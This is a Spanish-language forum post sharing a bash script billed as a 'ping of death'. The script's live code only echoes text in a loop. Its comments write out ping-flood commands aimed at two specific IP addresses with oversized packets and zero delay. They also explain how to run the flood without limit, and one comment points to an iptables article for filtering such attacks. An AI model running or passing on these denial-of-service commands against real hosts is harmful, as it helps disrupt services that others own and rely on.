Script para hacer un ping de la muerte

Preguntas sobre los lenguajes de programación más comunes como C/C++, PHP, Gambas, Perl, SHELL Script, HTML, Python, SQL, etc.
adminweb
Site Admin
Mensajes: 16
Registrado: Dom Abr 14, 2013 7:18 pm

Script para hacer un ping de la muerte

Mensajepor adminweb » Lun Oct 31, 2016 6:02 pm

Código: Seleccionar todo

#! /bin/bash

# Atrapar ctrl-c y llamar a ctrl_c()
trap ctrl_c INT


start()
{
 # Si es "root", puede establecer el intervalo cero de tiempo con "-i 0"
 # Puede establecer un número ilimitado de pings, quitando "-c 10"
 echo "start"
 # Ejemplos:
 # ping 104.25.68.6 -s 65500 -i 0 -c 10
 # ping 185.140.35.100 -s 65500 -c 10
 echo "Ejemplo."
 # Puede filtrar el "ping de la muerte" con este artículo:
 # http://www.linux-party.com/index.php/7754-iptables-para-evitar-ataques-de-denegaci%C3%B3n-de-servicio-%28ddos%29
 # Y otros, que te tendrás que buscar y currar.
}

stop()
{
  echo "Deteniendo...: stop"
  exit 0
}

function ctrl_c() {
        echo "** CTRL-C ** Atrapado"
        stop
}

for i in `seq 1 10`; do
    sleep 1
    start
    echo -n "."
done

Volver a “Desarrollo”

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 0 invitados